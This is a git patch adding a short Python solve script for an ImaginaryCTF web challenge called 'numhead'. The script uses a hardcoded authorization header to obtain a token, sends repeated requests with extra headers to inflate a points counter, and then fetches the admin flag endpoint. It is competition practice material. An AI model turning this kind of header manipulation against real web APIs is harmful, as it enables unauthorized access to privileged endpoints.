From 4a557a5cb7f2ed09965b0b46f084671ce079d568 Mon Sep 17 00:00:00 2001 From: Rajat Agarwal Date: Sat, 2 Oct 2021 01:10:55 +0530 Subject: [PATCH] maze exploit --- misc/exploit.py | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 misc/exploit.py diff --git a/misc/exploit.py b/misc/exploit.py new file mode 100644 index 0000000..380e629 --- /dev/null +++ b/misc/exploit.py @@ -0,0 +1,19 @@ +import requests +# import json + +url = "https://numhead.chal.imaginaryctf.org/" + +new_token_json = requests.post(url + "api/user/new-token", headers={'authorization':'0nlyL33tHax0rsAll0w3d', 'imaginary_discoveries':'test'}) +new_token = new_token_json.json() +choice = 50 +header = {'authorization':new_token['id']} +for i in range(10): + new_field = f"blah{i}" + header[new_field] = f"test{i}" + r = requests.post(url + f"api/user/nothing-here", headers=header) +# r = requests.post(url + f"api/user/nothing-here", headers={'authorization':new_token['id'], 'imaginary_discoveries':'test', 'test':'blah', 'test1':'blah'}) +points = requests.get(url + "api/user/points", headers={'authorization':new_token['id']}) +flag = requests.get(url + "api/admin/flag", headers={'authorization':new_token['id']}) +print(r.text) +print(points.text) +print(flag.text)